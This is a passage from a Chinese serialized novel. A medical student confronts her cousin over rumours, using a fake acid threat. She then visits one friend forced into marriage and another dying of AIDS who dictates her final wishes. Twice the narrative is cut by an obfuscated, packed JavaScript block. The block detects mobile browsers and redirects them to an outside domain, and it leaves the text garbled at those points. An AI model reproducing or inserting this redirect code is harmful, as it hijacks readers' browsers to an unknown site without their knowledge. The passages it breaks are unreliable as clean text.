直到一天,红梅上课险些迟到。闯进教室门,先前还叽叽喳喳的教室顷刻间鸦雀无声,红梅自以为迟到行为过于瞩目,连连跟同学们无声低头哈腰地致歉。找到位置就坐,周遭女生们不约而同,往远离她的位置挪了挪。 红梅有些奇怪,但望过去,那些女孩们没什么表情。但当她低头,眼角余光里明明白白看到,几个女孩交头接耳,指着她的方向。 不知如此,课间休息去洗手间,原本需要排队的女厕所,在她排到最后面时,前面的女孩们不再排队,径直走了出去。 果然不是错觉。 红梅佯装站不稳,故意向前靠了靠,洗手的女生惊魂失色,水龙头都没关就离开了。 当红梅上完洗手间回到教室,教室一瞬间的寂静让疑问画上了句号。红梅把脸埋在手里,镇定思路。 不是错觉。 她可以不在意,因为社交不是毕业和分房子的必要条件。但是,为什么? 她实在无心解决这些问题,因为每晚图书馆惯常的座位对面空空荡荡,一同努力的人消失不见了,却没有人能告诉她为什么。 红梅翻着书,却一字未进。她深深地叹气,想要去图书馆洗手间洗把脸稍作修整。走到洗手间时,门却被人悄然关上。红梅茫然地看到:是陈晓晓。 “怎么了?”红梅问。 陈晓旭咬着嘴唇,双手抱臂,十分焦虑地走来走去,像是最终下定决心,跺跺脚,郑重地对红梅说:“你知道吧?班里人现在有点排挤你。” “嗯。然后呢?” “你不想知道为什么吗?” “说真的,我不在乎。但如果你愿意说,也可以告诉我。” “……”陈晓晓沉默一阵,才道,“你去夜总会打工的事被人知道了,他们都以为你是……” “妓女,不干净,满身性病。”红梅顺着思路猜下去,平静地问,“然后呢?” “我真不知道你怎么这么冷静。”陈晓晓压低声音,却改不了逐字上扬的音调,“如果你暴露了,我也会暴露,我们都得受别人指指点点,哪怕我们都清楚钱是干净的。所以我去稍微打听了一下,这件事最初是从哪儿传来的。没想到是你表哥刘勇。刘勇跟他们宿舍的男生们说,他从一个男人那里拿到了二十多块,让转交给你,说是夜总会赚的工资。然后这事儿就传开了……” 听到意外的名字,红梅凝视着焦虑的陈晓晓,而她继续说:“我是不知道那个男人对刘勇说了什么,但是刘勇怎么能这样对你——你们不是亲戚吗?现在传什么的都有,如果你想解决,必须找刘勇谈谈……” “谢谢,我会的。” “还有让他闭上嘴,别像个八婆,诬陷女人的清白,也不代表他就能追得上人家女孩了!我真不明白贬低女孩的人品对男人来说有什么价值?” “议价。” “……什么?” “把值十块的东西贬低成只值一块,像他那样的人就可以轻易地买回家了。这是在议价。他还辱没了谁的名声?一起算账吧。” “……你不知道吗?” “我没什么朋友,除了谢芳。” “……就是谢芳啊。” “什么?” “看来你真的不知道,那我大概复述一下他们在传的东西:‘谢芳是城里思想开放的女人,喜欢去夜总会不图钱,图快活;而刘红梅那种农村出身的女人,一晚上也只配二十块,玩玩就行了,没必要负责’。” 奇异的怒火在心底烧灼,红梅竟笑出来:“还说了什么?” “……说谢芳这半个月没来学校,是怀孕了,要保胎呢。” 愈发好笑,红梅乐不可支:“就这些?” “就这些。” “真有人信?” “……我不知道。但这种传闻,正常人都会觉得,宁可信其有……” “谢谢,晓晓,我知道了。” 红梅没理会晓晓请求她低调处理的话语,径自离开洗手间,回到惯常的座位。在座位上沉寂好一阵子,视线落到她的银色水壶。她旋开瓶盖,把所有温水喝了下去,像灌下一瓶酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004309|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那般,眼神灼灼。 望着谢芳的位置,她站起来,开始行动。 “刘勇,给我出来!” “喂你个女孩子家家怎么擅闯男生宿舍!喂!” 红梅手持银色水壶,像手榴弹一样持在胸前。宿管大爷追在她身后,奈何红梅跑得快,就只能亦步亦趋地总慢半拍。红梅像不把刘勇挖出来誓不罢休一样,挨家挨户敲门看,所到之处,男人们作鸟兽散,又探出头来,惊异地观望事态发展。 一层巡视完毕,没发现那个崽种,红梅冲上二楼楼梯,人未至,话语先行:“刘勇,给我出来!” “诶呀表妹,怎么了这是?” 刘勇正住二楼,在一众弹出的头前,满是关怀:“怎么了红梅?表哥在这呢。” 红梅直视刘勇。 宿管大爷气喘吁吁要把红梅拉走,红梅举起水壶,警告大爷:“我这里是浓盐酸,盖子没拧紧,别随便碰我,不然您缺个胳膊少个腿儿的,我不负责。这是家务事儿,您也别多管,管不着。” 大爷霎时间退后两步,劝慰说:“别轻举妄动啊,咱们有事好商量。” “对啊表妹,有事好商量,你这,怎么了,哥给你出头。女孩子家家,你这样不好。”刘勇说。 红梅单刀直入:“有一个男人找上你,让你转交钱。钱呢?” “二十五块,我这就给你。” 刘勇从衣兜里数出五块零钱,又带上二十整,伸向红梅的手臂隐隐在颤抖:“给你。” “放地上,退后五步。” 刘勇照做,红梅上前五步,把钱踩在脚下,继续提问:“那个男人给钱时候,怎么说的?” “他说他是谢芳表哥,谢芳拖他把钱给你。我问为什么不是谢芳自己给,他说谢芳准备结婚,不念书了,以后也不会来学校了。我问钱是哪儿来的,他说,是夜总会给的。” “还有什么?” “没了。” “那么,现在满学校飘的传闻,说我是去夜总会卖的妓女,说谢芳去夜总会玩到怀孕,都是谁说的?” “……这……” “痛快点说吧,我手里是浓盐酸,你说得越慢,它在你脸上融化的速度越快。” “我……对不起我……” 红梅拧开了瓶盖,晃起了瓶身,液体摇晃的声音让刘勇脸色立刻变了:“对不起,是我说的。” “你这么说,有什么证据吗?” “我只是随便猜……” “为了你的面子,需要两个女孩的清白作为谈资,是吗。那我现在说,我去夜总会,是因为表哥刘勇在里面卖屁股,我是奉了村长伯伯的命,让你改邪归正。大家又会怎么说?” 男生宿舍,最不缺男生,几十个人闻言目光变了,刘勇才惶恐起来:“这怎么可能,我每天都在学校。室友可以作证。你在夜总会赚钱也是明摆着的,不然你还能去干什么,消费——啊???” 液体泼在刘勇脸上,热度让他手足无措地尖叫,乱擦,像不停蠕动的蛆虫,让人看了心生丑恶。他尖叫着,扑进宿舍里疯狂用布擦脸,找镜子,发现脸除了烫之外,并无任何异样。 他从惊慌中脱身,看到一个个脸庞,嘲笑的,同情的,不屑的,看戏的…… 以及在那之中,毫无表情的红梅。 他听到她说: “如果你不要脸,那么我也不会给你脸。希望你知道,下一次,这就是真的浓盐酸了。” 红梅十分无辜地耸耸肩,慢条斯理捡钱,还有心吹吹灰尘,才揣进兜里,在一众男人面前被宿管大爷拽下楼,大胆一幕被连夜通报给班主任和女生宿舍的宿管李阿姨。 “你看看这个女娃!明天!明天我一定告诉教导处,讨个处分回来不可!”宿管大爷气得唾沫飞溅。 李阿姨听完,把红梅护在身后,唾沫飞到宿管大爷脸上,全是维护:“那咋的,准你们男人乱污蔑女人,就不允许女人反抗?这俩娃还是亲戚!更是下作。我倒想知道教导处的刘主任会偏向谁,给谁处分!丫头跟我回去睡觉,咱不怵男人!” 红梅攥着水壶,被李阿姨牵着,向着宿舍楼进发。夜晚寂静,唯有宿舍楼的灯火将二人的影子拉长,又缩短,弹簧似的,变出千百般阵仗。 “去睡吧,有事明天说。” 回到宿舍楼里,李阿姨放开红梅,如此说着。 红梅实在疲了,怒火殆尽,剩下的是满地灰渣。她低下头,用鼻子嗯了一声,就要上楼。 “……你在找芳芳?” 红梅脚步顿住,回身望去,李阿姨的表情融在灰暗里,她毫不犹豫回答:“是。她半个月没来上学了,我很担心她。我去过校长室,也去过医院妇产科,找不到她爸妈,打家里电话也不接。你知道她在哪吗?我只是希望,她没事。” 李阿姨叹了口气,像灰尘淹没在黑暗里。她打开宿管门,灯火透出走廊,她向她招手,红梅立刻就跟着进门了。 几分钟后,红梅得到了一个纸条,上面是一个地址。 “芳芳好像是出事了,如果你真想知道,那就去看看吧。” 18. 案发 一夜平静过去,在看不见的地方,头天晚上的事引起轩然大波:课上到中途,教导处的老师点名要带走刘红梅。红梅早有心理准备,合上书便跟着去了。 学校能处罚什么呢? 坐在教导处办公室,听着几个不认识的人争吵处分轻重,她无不出神地想,居然没有报警。她瞥一眼羞愤交加的刘勇,确定对方不是不想报警,仅仅是觉得丢人而作罢。 至于丢人之处是被女人甩脸色,还是自己做法不光明,这就很难估量了。 看一眼都感到十分晦气,她移开视线,看向窗外的梅树。初春到了,百花齐放,它却光光秃秃,浑然不觉似的。 很有骨气。 听完宿管大爷的讲述,教导主任在刘欢副主任的求情下,决定各打八十大半:即日起停学三天,写检讨书,不进档案。于是事情就要这样作罢。 教导主任象征性地问了句:“你们服不服?” 刘勇连连点头称错,视线落在红梅身上,她只翘了翘嘴角,皮笑肉不笑。左脚踏出办公室门的时候,就把检讨书内容想好了: 我不服。 复写一千字,上交。 但在掀开纸笔前,她还有事要做:谢芳家地址被她攥在手里,一夜未睡,等的就是时间。 这不就来了。 那是离欧式街不远的富人区,她在餐厅打工就隐隐听过,住在那里的人非富即贵,二层小洋楼不外乎带车库、泳池的,是全省鼎鼎有名的地方。但是,她与校长谢诚和吴莲医生一面之缘,却不觉得这对夫妻有这般财力,能够让家庭住在这样富庶的地方。甚至从谢芳的衣食住行都能看出来,她家仅仅是过得一般的城里人罢了,离富裕还差了一截。 这就十分奇怪了。 她跑出校门,头一回乘上公交车,想要尽快找到谢芳,问问这半个月到底发生了什么,她的缺席是因为什么。公交车从城市的这头走到那头,红梅在正确的站点下车,跟街头的人问询,找到街区,接下来就该寻找门牌。兜转到正午,她才终于在最中央的位置找到:清灰的墙头绕着电网防扒墙,大红的铁门上是仿宫城一般的金色饰物,她再三看过扁了一头的门牌,咽下唾沫,叩响了门锁。 黄铜色的铁环声响钝重,红梅连敲几下,才有一位妇人来应门:“谁啊?” 红梅扒着门口方洞道:“请问是谢芳家吗?” “夫人是叫谢芳,请问您是?” “我叫刘红梅,是谢芳的朋友,请您帮我传传话,她两个星期多没来学校,我想来看看她。” “您稍等。” 等待像一个世纪那么长,红梅的太阳穴突突直跳。“夫人”这个词刺痛她的神经,或许是她听错了,那怎么会是她的谢芳,但…… 门在红梅面前缓缓打开,老妇人持着锁道:“夫人在里面,进来吧。” 站在门外的红梅迟疑一秒,跟在老妇人身后,进了门。 一条石砖铺就的路,路两旁是精心打理好的花圃,泳池一眼就看到了,甚至于小池塘里的红色金鱼还在嬉闹。亭台楼阁般的景色,竟然在这样一堵平平无奇的墙背后,红梅讶异不过一秒,就发现她要找的人不在这目之所及的任何一个地方。 红梅停步:“谢芳在哪?” 老妇人也停脚,几步之遥,低着头回答:“夫人在她的卧室,客人。” “她病了吗?” “夫人最近不怎么吃饭,气色不太好,在吃补药。” “你称呼谢芳是夫人,那这家的主人是谁?” “张承泽少爷,夫人的未婚夫,预定在年底结婚,少爷让我们这么称呼的。” 老妇人以为她的问题结束了,往前走了几步,红梅却没跟上。一股奇异的怒火蹿在脚底,叫红梅挪不动脚,也攥紧了拳头。 “‘夫人’有名字,她叫谢芳,叫她谢芳烫嘴吗?” 老妇人这才抬眼看看这位不速之客,很快又掠下眼帘,慢慢回答:“我只是受雇在这里做饭、打扫。称呼是雇主规定的。” 是啊,在这跟一个陌生人生气,也…… 察觉到被人注视,红梅抬眼,二楼阳台落地窗开着一条缝,白色纱帘随风飘荡。直觉告诉她,那就是谢芳。 “芳芳!” 红梅喊着谢芳的名字,窗帘后似乎有人影晃动。她只顾得上告诉老妇人“别跟过来”,接着就跑到小楼,推开沉甸甸的大门,跑过装修华美的客厅,冲上楼梯,在二楼暂停脚步:三个通道,三个方向,哪个是对的? “芳芳?” 红梅轻声呼唤她的名字,没有得到回音,想起在院子里看到的白色纱帘,朝着左侧稍暗的房间走去。房门虚掩着,在她脚步越来越近的时候,陡然传出一声叹息。 红梅更加确定了,她顾不及礼仪,推开房门:“芳芳!” 她找对了。 金色充斥着每一寸目之所及的地方:床、梳妆台、墙纸、水晶吊灯或是落地窗的勾栏,霸道又彰示着主人的尊贵。然而金色之外是大片的惨白,白色的地毯,白色的被褥,床榻之上的人脸色同样憔悴稀松,缺乏活力,像将死一般,唯独眼睫颤抖,告知旁人她还活着。 是谢芳。 红梅小心翼翼靠近,坐在床边,像接近一个易碎的白瓷娃娃一样。她握住谢芳几近枯槁的手,放在自己圆润的掌心。初见时握手的记忆依然在目,手的主人却颠倒过来了。察觉到这一点的红梅,在停滞的空气里,不住地颤抖。 “芳芳……发生什么了?怎么成这样了?” 红梅想握住谢芳的手,但它太纤细了,让红梅忍不住要哭。 泪水落在指缝里,躺着的人才缓缓睁开眼,安慰似的开口,声音近乎于无:“你怎么来了?” “你答应帮我就再没了音,要是我不来找你,我还是人吗。” 眼泪啪嗒啪嗒地落,红梅泪眼婆娑,看一眼孱弱的谢芳,又低下头:“怎么了啊,芳芳,发生什么了,你怎么会变成这样。” “哭什么?”谢芳气息微弱地说。 “是不是生病了?如果生病了去医院啊,为什么在这里?你没来学校的时候,我跑了好多趟校长室,还去医院找你妈妈,打你家的电话也好,找不到你的爸爸妈妈。是不是什么疑难杂症?叫什么名字?还有没有办法?我们去协和,去华西……我英语学得很好了,我们看看有什么最先进的办法没……你怎么会变成这样啊,芳芳……” 红梅的嘴炮弹似的一刻不停,枯槁的手微微抬起,给红梅擦起眼泪。 红梅哭着,嘴角想笑,面容扭成奇怪的模样:“怎么这种时候,你还想安慰我……你干嘛啊。” “因为我没得绝症,只是好几天没吃饭,还喝着药罢了……” “……啊?” 红梅呆滞,谢芳笑起来,脱相的脸才稍微有了生机。 “帮我把枕头垫在后背,行不行?” 红梅用袖子两把抹了眼泪,应声做完,谢芳大半身子倚着床头,闭眼一阵,才有精神看向红梅。 “为什么好几天没吃饭?” “因为一些事情。” “好吧,如果你不愿意……你为什么会在这里,不在家?” “这就是我绝食的原因了。” “……我不明白。” 谢芳笑笑,反握住红梅的手,脆弱但有力地:“不明白什么?” “你半个月没来学校了,因为你爸妈坚持要你嫁给这儿的主人吗?” “从结果来看,是这样的。” “为什么?” “我也不明白为什么,所以绝食了,结果你看,没什么不同。” “你爸是校长,你妈是医生,你父母很恩爱,却不能够允许你自由恋爱,成为医生吗?” “你也看到这个院子了,也许,他们觉得,对于女儿而言,这样的生活就足够了。” 红梅越发不解:“理想是与物质无关的东西,这是你教给我的。” “这也是我父母教给我的,但他们却没这么做。” 红梅一时无言以对,左思右想,突然说:“他们不支持你读书,没事,我们一起去打工。大二的学费我是够了,我们一起去给你攒钱。读书而已,只要交得了学费,即使你爸是校长,还能不让你进教室门不成?” 谢芳笑起来,眼睛也明朗许多。 “笑什么?”红梅不解,“你托你表哥带给我的钱,我收到了。” “收到就好。”谢芳突然问,“今天周几?” “周一啊。”红梅理所当然道。 “我才喝完药,现在应该没过中午。你怎么不在学校,逃学了?” “……我才不会逃学呢。” “那怎么?” 红梅长长吐了口气,把离谱的亲戚造的没影儿的谣、夜闯男生宿舍吓唬对方、遭到校内处罚的事,一股脑地告诉谢芳。临了恶狠狠道:“他牛个什么劲?再有下次,我非把他牛子噶了不可。” “噶牛子?” “不知道了吧?村子里养猪的时候,需要阉割公猪,不然就会打架。噶牛子就是方言,阉割生殖器的意思。” “谢谢,学会了。噶牛子。” 谢芳笑起来,脸色红润多了。 红梅看好友状态逐渐转好,心底松口气,跟她掰着手分析:“我真不懂,第一,他凭什么以为我会任他欺负,之前照顾我那两下,还不至于该我忍气吞声吧?第二,他造这种谣,说我,到底有什么好处,把我往坏里说,他能落什么好?第三……” “第三?” “第三,说我也就罢了,我确实在夜总会打工。但你的谣言又是哪来的。他有两次跟我说,想追你,让我把他介绍给你,我都没答应他。我就更不懂了,他这么做的目的是什么?追上你,肯定没戏,得罪我,肯定会的。他到底知道什么?追不了你,就在那胡编乱造?” 谢芳只是笑,手指晃一晃好友的手:“你都替我出气了,就别想了。” “我还是气不过。”红梅垂头丧气的,“也许,你没认识过我就好了,不会总在学习上被我拖后腿,也不会遇到这么倒霉的癞蛤蟆。” “不。认识你,让我更加坚定了我的理想。如果没有你,我大概也会被她们同化吧……毕竟,拥有一个理想很简单,坚持很难。如果黑暗里只有一盏灯,这盏灯能亮多久呢?在找到光明以前,在灯火熄灭以前,总需要更多盏灯,更多人,你的熄灭了,我就伴着你的灯光一起走,互相扶持,才能够等到最后。” 红梅叹着气:“我哪有那么厉害。” “对我来说,你也是顶好顶好的朋友啦。暂时穷一点,没什么的。”谢芳鼓励好友道,“复学了也要好好念书啊。” “那你呢?” 谢芳陡然沉默,失去表情,恢复初见那般惨白。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011846|161916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 红梅更加坚定:“我说真的,你爸妈不让你念书,最多也是不给你学费。我们一起赚,嗯?” 谢芳没来得及回答,院子里突然传来一男一女争执的声音,听起来像极了刚才见过的保姆: “客人您等我通报一下……” 男人声音清亮带着不耐烦:“我见我妹妹关你一个外人什么事?” 楼下的门轰然推开,脚步声噼里啪啦砸在阶梯,男人显然来过,轻车熟路找到卧室,直接闯进来。他眉头紧簇,盯着红梅问:“你是谁?” 红梅刚要回答,被谢芳紧攥住手。她不解地看向谢芳,谢芳一手撑着额头,闭目道:“谁让你来的?” 男人同样攥紧拳头,死死盯着红梅:“她就是刘红梅?” 语气分外笃定,不像在提问。 谢芳再次开口,拔高音量,声音却隐约要撕破般:“谁让你来的?” “我是来给你送衣服的。” “谁让你送的?” “你爸妈。” “原来我亲生父母家已经容不下我的衣服了,真不错。” 男人声音震耳欲聋:“谢芳!你明知道这一切是谁起的头!” “俗话说,冤有头,债有主。我们都清楚发生了什么,所以,我才更不能让你在我面前放肆。你可以走了。” “谢芳!” “把东西放下,你可以走了。” 男人愤愤,死死盯着红梅,像他们有仇一般,站了许久才走。 自始至终攥住红梅,不让她开口的手这才松开,而手的主人愈发憔悴了。 红梅试着开口:“芳芳?” “我没事。”谢芳安慰她,“你也早点回学校吧,不让上课,也可以到处走走。你总是把自己绷得太紧,劳逸结合也不错。” “劳逸结合的事情都需要钱呐。” “去图书馆看看小说呢?书总是不要钱的。” 红梅还是握着谢芳的手,没有想走的意思。 谢芳掀开被子,慢慢下床:“走吧,我把你送到门口。” 走在院子里,红梅恍然想起,二人上一次并肩而行,还是寒流袭卷的初春。而现在过去半个月了,气温回升一些,花也开了不少。陌生的院子里,尽是姹紫嫣红的热闹。她会瞥一眼,谢芳却目不斜视,一直往门口走去,握着她的手,温暖有力。 这条路那么长,又这么短。 站在门口,红梅郑重嘱咐好友:“好好吃饭,我会再来看你的。” “好好学习,我会看着你的。” 红梅一口应下,迟疑许久,再次问出那个问题:“你……什么时候回学校?” 谢芳歪着头,思索几秒,回答:“我得先解决我的问题,所以……不会很快,但一定会回学校的。” “我等你回来。” “嗯。” 大门在红梅面前缓缓关上,在高大的铁皮前,唯一能宽慰她的,只有好友脸色看起来好了不少。 原路返回学校,校园里几乎无人走动,正是上课时间。想着会错过的课业,红梅拿着书跑到图书馆,翻开扉页时抬了抬眼,本该坐着好友的位置空空荡荡,书竟然也无力再翻一页了。 图书管理员经过她身旁的走廊,边走边嘟囔:“这本书在哪儿来着?” 下课铃接着响起,管理员抱怨道:“哎,又得迟点吃午饭了……” “什么书?”红梅好奇问。 “《悲惨世界》,是本小说,放在哪个架子你知道吗?” 几分钟后,新的借阅栏里写上红梅的名字,直到该吃晚饭,红梅都没能读完。于是她在食堂买几个菜包,将书带回宿舍。宿舍无人,她便啃着包子,一边看一边吃,全然忘记时间。就连有人进门都浑然不觉,直到一双脚出现在视线内,站着不走,红梅才后知后觉压住书页,抬头看向那人。 是应晚。 她干嘛不走?还嫌弃地盯着我看? 稍加思索,红梅才想起自己被排挤的处境,把双腿从床边缩回,鞋都往床下塞了塞。作出全然避嫌的姿态,她才低头,要继续看了。 啪。 一个本子压在书上,红梅惊讶地看到,那是应晚的字迹……内容是上课笔记。 这? 红梅眼睛大睁,看向应晚,后者才磕磕绊绊地说:“我可没做笔记的习惯,你成绩系里第一,稍微看一眼就知道进度了吧?反正除了实验课,都是照本宣科。” “谢谢,可是……” “处分的事传开了。” “谢谢,但……” “同一件事,有人在乎,也会有人不在乎。我从来都没讨厌过你,就这样。” 红梅笑起来:“谢谢。” 红梅更意想不到,寝室里其他三人不约而同塞的水果,甚至一度同名同姓的上铺,也送了进口巧克力给她。风波因为处分暂时谢幕,小小的宿舍,也第一回给了红梅家的感觉。乃至复课第一节,同班们的欢迎掌声。 红梅继续深造,除了缺少谢芳陪伴,一切照旧。 新的传言总会覆盖掉旧的八卦,只要内容足够爆炸。 崭新的一天,红梅独自抱着书本在食堂吃饭,听到邻桌几人聊天。 “听说了吗?出现了变态!” “什么变态?” “凶手把男人□□和阴囊扔在街头啊!这不是变态是什么?” 19. 遗嘱 男人生殖器被丢在街头的案件传得沸沸扬扬。 红梅起初没太在意,直到第二个生殖器被扔在人民广场,案件迟迟未破,上了省城报纸头条。 治安问题才切切实实影响到了所有人:医学院发布公告,图书馆暂时提前闭馆,夜晚也不再安排课程,教学楼关门。红梅被迫赶回宿舍,在楼梯间的灯火下,避开嘈杂,专心看书。 实在看累了,她才会回到宿舍,加入讨论。 “半个多月就发生两次,两个生殖器,虽然弄不死人,这也太离奇了。警察怎么还没查出来原因啊?”黄诺跟陈晓晓发牢骚,“查这俩男人得罪了什么人不就知道了吗?□□什么干不出来啊?剁手剁脚的传闻都很多呢。” “所以才奇怪,你说剁手剁脚还算常见,哪有剁生殖器的。而且你看,警察推测说,剁的手法很专业利落,都是确认器官坏死,没法再接上才丢出来的。”陈晓晓猜测着,“你说,会不会是什么情杀?他们偷偷跟别人老婆做那种事被发现了?” “你们干嘛这么关心这事,迟早都会查出来的,等着就行。就是不让随便出校门有点烦,夏天快来了,我想买新裙子。”应晚抱怨道。 王锦安抚着应晚,约定周末白天一同出游。 红梅听着她们安排,计划好周末去图书馆看看小说,权当放松。 临近熄灯,几人都躺在床上,突然有人敲门。王锦下地开了门,门口是宿管阿姨,开口便问:“红梅在吗?有你的电话。” 是家里,还是谢芳? 红梅迅速披上衣服,跟随宿管阿姨下楼,脑子里不住地猜。走廊里没什么人,到公用电话前,红梅接起电话:“喂?我是刘红梅。” 电话那端不住咳嗽,随后才开口问:“是红梅吗?” 红梅瞬间听出来:“邬眉?你怎么知道我宿舍电话的?” 自那天后她们就再无联络,红梅不是不想这个唯二的朋友的,只是她再去邬眉家找她时,已经人去楼空。 邬眉不住地咳嗽,回答不上来,红梅又追问:“咳嗽了?看过医生吗?吃没吃药?” 咳嗽声越来越大,像要把肺都咳出来前,邬眉终于用喑哑的声音回复:“你周日有事吗?” “没有,怎么了?” “记下这个地址,来找我。” 伴随断断续续的咳嗽,红梅记下地址,无不担忧地叮嘱:“记得看看医生,吃药啊?” 邬眉嗯了一声,挂掉电话前一秒还在咳嗽,像没有尽头一样。 红梅按下话筒,揣着纸条,担心着邬眉。随后想起谢芳,她投币,打到谢芳“新家”处。 接电话的是保姆阿姨,她汇报过后就换成谢芳接电话。 不等她开口打招呼,谢芳便开口焦急地问:“怎么了?红梅,这么晚打电话,出事了吗?” “没事。”红梅听到好友语调正常,宽心下来,“我想这周日先去探望邬眉,她生病了,刚刚打电话给我。你也知道她没什么朋友,我得去看看。我可以迟点再去看你吗?” “没问题。记得给她带点阿司匹林。” “还有啊。你知不知道最近的大事?” “那个割掉男人生殖器,扔在街头的案件?” “对。学校现在加强管理,不让我们随便出门了。你也平时注意安全,晚上不要出门了。” 谢芳笑起来,红梅问:“为什么笑?” “看着像只针对男人下手的犯罪分子,女孩怕什么。” “就是因为不知道对方的目的是什么,因为阳痿嫉妒别的男人?还是仇杀?还是威慑?警察半个多月都没抓到人,还能出现第二次作案……多留心安全总不会错的。” “男人被阉割,充其量伤残,又不致命。警察最近在关心的是抓□□升职加薪,哪会顾这些。” “芳芳!你就听我的,晚上别出门嘛。” “好,我知道了。我们还是周日见。” “嗯。” 挂了电话,红梅跟宿管阿姨道晚安,才返回宿舍。刚躺上床,灯就熄了。 邬眉怎么了呢? 很快到了周日,红梅起个大早,用买药做借口出了校门。邬眉的新地址在郊区,临近农田,上车问司机路线,下车问好心人方向,这才在人生地不熟的地方找到目的地:一片住宅区边缘的小砖房,院墙不高,院子里一口井,砖铺就的小路旁还有杂草,邻居家的树遮蔽半个阴影过来,还能听到鸡鸣狗叫,规制和声音像极了她远在几千公里外的家。 红梅下意识以为这是邬眉婚房,摸了摸红铁门,锁却没落。思索一秒,推门而入。 进院子不见人,她呼唤道:“邬眉!邬眉!” 无人应答,她只好再次靠近屋子,想通过玻璃看看情况。刚靠近家门,门便拉开了。 晚春初夏,正是气温回升的时间,邬眉却披着纯黑的毛毯,干枯毛躁的发丝散在各种位置。 她的脸如同骷髅,仅剩皮肤附着在表层,挤压在一处;手指手臂枯槁,随动作骨头清晰可见。只有眼里的光彩未变,像琥珀色的宝石,明亮地照耀着目之所及的一切。 “来了。” 邬眉冷淡地说,腹部一阵紧缩,扶着门框的手指骨骼剧烈地陷进木头里。 痛到什么程度才会这样? 红梅刚想上手扶她,却被邬眉闪身避开。红梅不解问:“怎么了?” “长话短说。我得了艾滋病,很快就会死。最好别碰我。” 红梅瞠目,她们不过四五个月没见而已! 邬眉再次咳嗽,声音逐渐变大,扶着门的手同身躯不断下滑,红梅果断将她扶起。邬眉避无可避,倚在红梅身上,却极力远离她:“我不是说,离我远点……” “——别忘了,我是护士,我知道该怎么做。” 红梅将邬眉扶进房门,客厅空空荡荡,仅剩一副桌椅,左转便是卧室,木床上被褥满载几层,红梅将邬眉扶上床,喂水,坐在一旁的凳子上。 情势稍好一些,邬眉望着她想说什么,却被又一簇咳嗽打断。格外巨大的声音之后,邬眉手没捂住,暗红的血液从指缝流在床褥,绽开一朵朵鲜红。 邬眉呼吸渐缓,红梅才开口:“到底发生什么了?你丈夫呢?” “跑了。” “怎么会得这个病?我也听过输血染上的事例,这种情况我们可以做个申请,申请减免一部分药款也好……” “不是因为这个。” “医疗污染的情况也有,可以……” “别找理由了。我叫你来,不是为这个。” “……那是什么?” “我跟你说过吧,我有一个弟弟,今年高考,就在下个月。我病越来越严重,这几天勉强可以下地,就给你打了电话。我怕我撑不到那时候。我在城里没什么朋友,所以,叫你来,是想让你帮我准备后事的。” 邬眉声音的底气越近于无,红梅越难受,听到后事二字,泪却是兜不住。她想握住邬眉的手,被她果断避开了去。 “你愿意帮我吗?”邬眉问。 “嗯。”红梅答得果决,低下头悄悄抹泪。 邬眉无事发生一般,用卷纸将手指一一抹干,边做边说:“先说主要的:我给邬勇留下一套房和一些钱,房产证和存折我都交给了律师,做了公证,任何人都拿不走。但没有监督不行,你要帮我盯着律师,等邬勇高考完,如果我已经不在了,你就带他去领。明白吗?” “嗯。” “墓地我已经选好了,所有费用都留下了,你只需要帮我看着。你会用到的联系方式,我都写在纸上。我不知道该怎么消毒,但你知道,你会自己看着处理吧?千万不要传到你身上。” “嗯。”泪盈在眼眶,红梅坚定地答。 “这些财产数额很大,作为回报,所有事情结束后,我会赠予你八百块辛苦钱。这句话是写在遗嘱里的,我需要你监督律师,律师也会监督你,只有你把所有事都完成了,他才会给你钱。” “我不需要……” “你嫌钱脏?” “不。你都安排好了,我除了监督,也做不了什么,不能接受这种钱。” “我不是为了你,我是为了邬勇。我需要他不受我影响,好好高考,考上大学,在城里有个家,不用担心没钱吃饭。拿到那八百块之后,你也必须照顾他到大学毕业。如果他不成器,就让他再复读一年,必须考上本科。第二次也没成功的话,就让他另谋生路吧。我这个姐姐,只能到这了。” “好。” “我弟弟是个跟你差不多的笨蛋,过于天真。帮我盯着他,别随便挥霍我留给他的财产。你确实管不住,就让他回老家罢。看在是亲戚的份上,总不会让他饿死的。” “行。” “……还有,我衣柜里有一个木匣子,里面都是我喜欢的东西。等我走了,烧给我。” 泪流成水帘洞,擦也擦不完,截也截不断。 邬眉的手欲抬又止,开口调侃,带着嫌弃:“我还没走,这可不能加钱。” “遗言交代完了吧?” “哦。” “那你能说说这段时间发生什么了吧?你怎么……怎么会成这样。你不是要结婚吗,不是过上了你想要的日子吗?” 红梅哭得上气不接下气,鼻涕眼泪流了满脸。邬眉实在很想帮擦,却又因这病不敢碰她。 哂笑过后,是无尽的叹息。 “简单说,是我挑错了男人。这个病,也是因为男人染上的。” 红梅蹙眉问:“那个男人是谁?” 邬眉笑起来:“怎么着,你能给我报仇啊?省省吧。看着我弟别走歪路,你也好好念书,我这辈子就够了。倒没什么,人总是会死的,六十岁死,现在死,有什么分别呢。” “怎么会没分别呢?这个男人不行,换一个,做喜欢的工作,看着弟弟长大……为什么这么难呢?” “你是在可怜我,还是在挖苦我是个短命鬼啊?” “邬眉,你知道的,我……” “真这么过意不去,今天陪我说说话,迟一点走吧。” 红梅一口答应,倒水似的,把学校生活一股脑地告诉 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邬眉翻着被褥,好几层堆叠是因为她怕冷,碍着血液传播这一层,不敢随便让红梅睡。说着专业,红梅却也不确定,二人翻着一床东西难以夺定,许久邬眉才说:“给你钱,你去附近宾馆睡吧。” 